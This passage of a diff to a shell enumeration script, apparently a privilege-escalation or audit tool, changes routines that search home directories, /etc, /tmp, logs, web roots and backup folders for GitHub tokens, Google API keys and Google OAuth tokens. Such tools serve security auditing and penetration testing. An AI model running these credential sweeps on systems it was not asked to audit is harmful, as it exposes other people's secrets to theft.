| uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & +print_3title_no_nl "Searching Github (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & +print_3title_no_nl "Searching Google API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google Cloud Platform API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & +print_3title_no_nl "Searching Google Cloud Platform API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google Drive Oauth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & +print_3title_no_nl "Searching Google Drive Oauth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google Oauth Access Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & +print_3title_no_nl "Searching Google Oauth Access Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE 